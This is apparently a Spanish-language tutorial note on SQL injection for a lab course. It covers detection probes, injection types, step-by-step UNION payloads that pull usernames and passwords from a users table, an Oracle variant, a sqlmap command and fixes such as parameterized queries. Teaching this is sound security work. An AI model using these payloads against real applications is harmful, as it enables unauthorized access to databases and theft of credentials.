SQL Injection
con laboratorio
Qué es
Una aplicación guarda sus datos en una base de datos y le habla con consultas SQL. Si el programador construye esa consulta pegando directamente lo que escribe el usuario, el usuario puede añadir su propio SQL.
Consulta original de un buscador:
sql
SELECT * FROM productos WHERE categoria = 'Regalos' AND publicado = 1Si en la categoría escribo Regalos'--, el resto de la consulta queda comentado y se saltan filtros (publicado = 1), mostrando productos ocultos.
Detección
- Meter una comilla
'y ver si da error o cambia la respuesta. - Probar condiciones:
' OR 1=1--(siempre verdadero) y' AND 1=2--(siempre falso).
Tipos
| Tipo | Cómo se ve |
|---|---|
| UNION | Los resultados de mi consulta aparecen en la página |
| Basada en errores | La base de datos muestra el dato dentro de un mensaje de error |
| Ciega (condicional) | No veo datos, pero la página cambia si la condición es cierta |
| Ciega (tiempo) | Si es cierto, hago que la respuesta tarde (SLEEP, pg_sleep) |
| Fuera de banda | La base de datos me llama a un servidor mío |
Ataque UNION paso a paso
- Averiguar cuántas columnas devuelve la consulta:
' ORDER BY 1--,ORDER BY 2--… hasta que falle. - Saber qué columnas aceptan texto:
' UNION SELECT 'a',NULL--. - Listar tablas:
' UNION SELECT table_name,NULL FROM information_schema.tables--. - Extraer datos:
' UNION SELECT username,password FROM users--.
Oracle
En Oracle SELECT siempre necesita FROM; se usa la tabla dual: ' UNION SELECT NULL FROM dual--.
Herramienta: sqlmap
bash
sqlmap -u "http://objetivo/producto?id=1" --batch --dbsAutomatiza todo lo anterior, pero conviene entenderlo a mano primero.
Cómo se arregla
- Consultas parametrizadas (prepared statements): el dato nunca se mezcla con el SQL.
- Usuario de base de datos con los mínimos permisos.
- Validar la entrada y no mostrar errores de la base de datos al usuario.
